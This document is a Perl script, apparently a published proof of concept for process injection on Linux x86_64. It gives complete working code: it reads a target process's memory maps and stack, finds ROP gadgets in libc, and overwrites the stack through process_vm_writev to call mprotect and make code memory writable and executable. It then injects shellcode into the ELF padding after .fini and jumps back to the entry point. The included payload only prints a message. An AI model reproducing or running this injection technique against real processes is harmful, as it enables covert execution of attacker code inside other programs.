furia.pl

#!/usr/bin/perl
# furia.pl
# written by isra - isra _replace_by_@_ fastmail.net
# isra.cl - hckng.org
#
# version 0.01 - april 2025
#
use strict;
use DynaLoader;
use POSIX qw(strtol);

my $VERSION = "0.01";

my $pid = pop(@ARGV) or undef;
die "usage: perl $0 PID\n" if not $pid;

# header
print "#" x 54;
print "\n# furia v$VERSION - process injection with perl (x86_64) #\n";
print "#" x 54;
print "\n";

# shellcode to be injected
# prints "i am b shellcode"
my $payload;
$payload .= "\xe8\x12\x00\x00\x00\x69\x20\x61\x6d\x20\x62\x20\x73\x68\x65";
$payload .= "\x6c\x6c\x63\x6f\x64\x65\x0a\x00\x48\x31\xc0\x48\x31\xd2\xfe";
$payload .= "\xc0\x48\x89\xc7\x5e\xb2\x11\x0f\x05\x31\xd2";
#$code   .= "\x00\x00\x0f\x05";

my $prot_rwx = 7;
my $region_size = 4096;
my $mprotect_syscall = 10;

# opcodes for ROP gadgets (x86_64)
my %OPS = (
    "pop_rax" => 0x58, "pop_rdx" => 0x5a, "pop_rsi" => 0x5e, 
    "pop_rdi" => 0x5f, "ret" => 0xc3
);

# addresses of found gadgets
my %GADGETS = (
    "pop_rax" => 0, "pop_rdx" => 0, "pop_rsi" => 0, 
    "pop_rdi" => 0
);

# get integer value of variable
# works by pointing to the value in memory and skipping first 16 bytes
# which are used for the internal data structure (refcnt, flags, etc) 
sub get_iv {
    my $v = shift;
    return \$v + 16;
}

# get address in reverse order for the stack
sub get_hex_addr {
    my $addr = shift;
    my ($p1, $p2) = unpack("V2", pack("Q", $addr));
    return pack("V", $p1).pack("V", $p2);
}

# get start address of memory region specified by $pattern (e.g. "rw-", "r-x")
sub get_start_addr {
    my $pid = shift;
    my $pattern = shift;
    open my $FH, '<', "/proc/$pid/maps" or die "[-] $!\n";
    my $start_addr;
    foreach my $line(<$FH>) {
        if($line =~ /$pattern/mg) {
            $start_addr = (split("-", $line))[0];
            last;
        }
    }
    close $FH;
    return $start_addr;
}

# read elf headers to calculate available padding bytes after .fini section
sub get_fini_padding {
    my $pid = shift;
    open my $FH, '<', "/proc/$pid/exe" or die "[-] $!\n";
    
    # read elf header
    read $FH, my $buff, 64;
    my @e = unpack("C a a a C12 S2 I q3 I S6", $buff);
    # skip non-elfs
    if($e[0] != 127 && $e[1] !~ 'E' && $e[2] !~ "L" && $e[3] !~ "F") {
        die "[-] executable doesn't look like a valid elf\n";
    }

    my ($sh_flags, $sh_offset, $sh_size, $sh_addralign);
    my ($e_entry, $e_shoff, $e_shentsize) =  ($e[19], $e[21], $e[26]);
    seek $FH, $e_shoff, 0;
    for(my $i = 0; $i < 18; $i++) {
        read $FH, my $buff, $e_shentsize;
        my @u = unpack("I2 q4 I2 q2", $buff);
        ($sh_flags, $sh_addralign) = ($u[2], $u[8]);
        # first sh_flags=6 && sh_addralign=4 after 15th entry should be .fini
        if($sh_flags == 6 && $sh_addralign == 4 && $i>15) { 
            ($sh_offset, $sh_size) = ($u[4], $u[5]) if(!$sh_offset);
        }
        # .fini was found
        last if($sh_offset);
    }
    die "[-] .fini not found\n" if(!$sh_offset);

    # read next section header entry (.rodata)
    read $FH, my $buff, $e_shentsize;
    my @u = unpack("I2 q4 I2 q2", $buff);
    close $FH;

    # free space: .rodata sh_offset - (.fini sh_offset + .fini sh_size)
    my $padding_bytes = $u[4] - ($sh_offset + $sh_size);
    
    return ($e_entry, $padding_bytes, $sh_offset + $sh_size);
}

# get stack pointer address
sub get_stack_pointer {
    my $pid = shift;
    open my $FH, '<', "/proc/$pid/syscall" or die "[-] $!\n";
    my $line = <$FH>;
    close $FH;
    my @syscalls = split(" ", $line);
    return $syscalls[$#syscalls - 1];
}

# get return address from text section to stack
sub get_stack_ret_addr {
    my $pid = shift;
    my $text_addr = shift;

    my $text_size = 4096;
    my $stack_pointer = (strtol(get_stack_pointer($pid), 16))[0];
    printf("[+] found stack pointer 0x%x\n", $stack_pointer);
    open my $FH, '<', "/proc/$pid/mem" or die "[-] $!\n";
    seek $FH, $stack_pointer, 0;
    while((read $FH, my $buff, 8)) {
        $buff = unpack("Q", $buff);
        $stack_pointer += 8;
        # return to stack must be from the text section
        if(($buff > $text_addr) && (($buff - $text_addr) < $text_size)) {
            $stack_pointer -= 8;
            return $stack_pointer;
        }
    }
    close $FH;
    return 0;
}

# find gadgets in libc
sub find_gadgets {
    my $libc = (DynaLoader::dl_findfile("libc.so.6"))[0];
    print "[+] found libc at $libc\n";
    open my $FH, '<', "$libc" or die "[-] $!\n";

    # read elf header
    read $FH, my $buff, 64;
    my @e = unpack("C a a a C12 S2 I q3 I S6", $buff);
    my $e_shoff = $e[19];

    # skipt false positives in header information
    seek $FH, $e_shoff, 0;
    print "[+] searching for gadgets...\n";
    my ($gadgets, $offset, $curr, $prev) = (0, $e_shoff, 0x0, 0x0);
    while((read $FH, $curr, 1)) {
        $offset++;
        $curr = unpack("C", $curr);
        
        # lazy check
        # check for OPCODE + RET (e.g. pop rax; ret -- \x58\xc3)
        if($curr == $OPS{"ret"}) {
            if(!$GADGETS{"pop_rax"} && $prev == $OPS{"pop_rax"} ) {
                $GADGETS{"pop_rax"} = $offset - 2;
                printf("[+] found 'pop rax' at 0x%x\n", $GADGETS{"pop_rax"});
                $gadgets++;
            } elsif(!$GADGETS{"pop_rdi"} && $prev == $OPS{"pop_rdi"} ) {
                $GADGETS{"pop_rdi"} = $offset - 2;
                printf("[+] found 'pop rdi' at 0x%x\n", $GADGETS{"pop_rdi"});
                $gadgets++;
            } elsif(!$GADGETS{"pop_rsi"} && $prev == $OPS{"pop_rsi"} ) {
                $GADGETS{"pop_rsi"} = $offset - 2;
                printf("[+] found 'pop rsi' at 0x%x\n", $GADGETS{"pop_rsi"});
                $gadgets++;
            } elsif(!$GADGETS{"pop_rdx"} && $prev == $OPS{"pop_rdx"} ) {
                $GADGETS{"pop_rdx"} = $offset - 2;
                printf("[+] found 'pop rdx' at 0x%x\n", $GADGETS{"pop_rdx"});
                $gadgets++;
            }
        }
        $prev = $curr;
        last if($gadgets == 4);
    }
    close $FH;
}

# process_vm_writev for writing a pointer to a string 
sub writev_ptr {
    my $pid = shift;
    my $local_arg = shift;
    my $local_size = shift;
    my $remote_arg = shift;
    my $remote_size = shift;

    call_writev($pid, $local_arg, "p", $local_size, $remote_arg, $remote_size);
}

# process_vm_writev for writing an integer
sub writev_int {
    my $pid = shift;
    my $local_arg = shift;
    my $local_size = shift;
    my $remote_arg = shift;
    my $remote_size = shift;

    call_writev($pid, $local_arg, "Q", $local_size, $remote_arg, $remote_size);
}

# actual call to process_vm_writev syscall
sub call_writev {
    my $pid = shift;
    my $local_arg = shift;
    my $local_type = shift;
    my $local_size = shift;
    my $remote_arg = shift;
    my $remote_size = shift;

    my $liovcnt = 1;
    my $riovcnt = 1;
    my $flags = 0;

    my ($local, $remote);
    # local data can be a string or an integer (in memory)
    # the rest of the values are all integers
    $local = pack("$local_type", $local_arg);
    $local .= pack("Q", $local_size);
    $remote = pack("Q", $remote_arg);
    $remote .= pack("Q", $remote_size);
    syscall(311, $pid, $local, $liovcnt, $remote, $riovcnt, $flags);
}


############################################################################
# main logic
############################################################################

print "[+] trying to inject process with PID $pid\n";

# this should be the first entry in maps file
my $base_addr = (strtol(get_start_addr($pid, "r--"), 16))[0];
my ($entry, $padding_bytes, $offset) = get_fini_padding($pid);
printf("[+] found entry point at 0x%x\n", $base_addr + $entry);
printf("[+] found %d available padding bytes\n", $padding_bytes);

# padding bytes should be greater than payload + 5 (jmp size)
if($padding_bytes < length($payload) + 5) {
    printf("[-] not enough space for injecting the payload. aborting...\n");
}

printf("[+] available padding bytes starting at 0x%x\n", $base_addr + $offset);
my $target_addr = $base_addr + $offset;
my $target_addr_hex = get_hex_addr($target_addr);
my $entry_hex = get_hex_addr($base_addr + $entry);

print "[+] analyzing maps file...\n";

# writable memory
#my $rw_addr = (strtol(get_start_addr($pid, "rw-"), 16))[0];
#printf("[+] found rw- memory at 0x%x\n", $rw_addr);
#my $rw_addr_hex = get_hex_addr($rw_addr);

# executable memory
my $rx_addr = (strtol(get_start_addr($pid, "r-x"), 16))[0];
printf("[+] found r-x memory at 0x%x\n", $rx_addr);
my $rx_addr_hex = get_hex_addr($rx_addr);

# return to stack
my $stack_ret_addr = get_stack_ret_addr($pid, $rx_addr);
printf("[+] found stack ret addr at 0x%x\n", $stack_ret_addr);

# libc base for gadgets
my $libc_base = (strtol(get_start_addr($pid, "libc"), 16))[0];
printf("[+] found libc loaded at 0x%x\n", $libc_base);

# search for gadgets
# for mprotect: readelf -s /path/to/libc.so | grep mprotect
find_gadgets();
my $pop_rax = get_hex_addr($libc_base + $GADGETS{"pop_rax"});
my $pop_rdi = get_hex_addr($libc_base + $GADGETS{"pop_rdi"});
my $pop_rsi = get_hex_addr($libc_base + $GADGETS{"pop_rsi"});
my $pop_rdx = get_hex_addr($libc_base + $GADGETS{"pop_rdx"});
my $syscall = get_hex_addr($libc_base + 0x00000000001019e0);

print "[+] trying to stop process with PID $pid\n";
kill 'SIGSTOP', $pid;

# rop overwrite
print "[+] trying to make payload executable\n";

# pop rdi - address -> rdi
writev_ptr($pid, $pop_rdi, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;
writev_ptr($pid, $rx_addr_hex, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

# pop rsi - region_size -> rsi
writev_ptr($pid, $pop_rsi, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;
writev_int($pid, get_iv($region_size), 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

# pop rdx - 07 -> rdx
writev_ptr($pid, $pop_rdx, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;
writev_int($pid, get_iv($prot_rwx), 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

# pop rax - 10 -> rax
writev_ptr($pid, $pop_rax, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;
writev_int($pid, get_iv($mprotect_syscall), 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

# mprotect call to make executable section writable (rwx)
writev_ptr($pid, $syscall, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;
# return to process entry point
writev_ptr($pid, $entry_hex, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

print "[+] finished\n";
print "[+] sending SIGCONT to process\n";

# continue process and wait a few seconds for the stack
kill 'SIGCONT', $pid;
sleep 1;

# stop again
kill 'SIGSTOP', $pid;

# new return to stack
my $stack_ret_addr = get_stack_ret_addr($pid, $rx_addr);
printf("[+] found new stack ret addr at 0x%x\n", $stack_ret_addr);

# calculate return from payload (in padding bytes) to entry point
# 5 == 4 byte relative address + 1 byte jmp opcode 
my $dist = $offset + length($payload) + 5 - $entry;
my $dist = -$dist & 0xffffffff;
my $jmp = "\xe9".pack("V", $dist);

# append jmp to payload
$payload = $payload.$jmp;

# final rop
print "[+] writing payload to rwx padding bytes\n";
writev_ptr($pid, $payload, length($payload), $target_addr, length($payload));
writev_ptr($pid, $target_addr_hex, 8, $stack_ret_addr, 8);
$stack_ret_addr += 8;

# let the chips fall where they may
kill 'SIGCONT', $pid;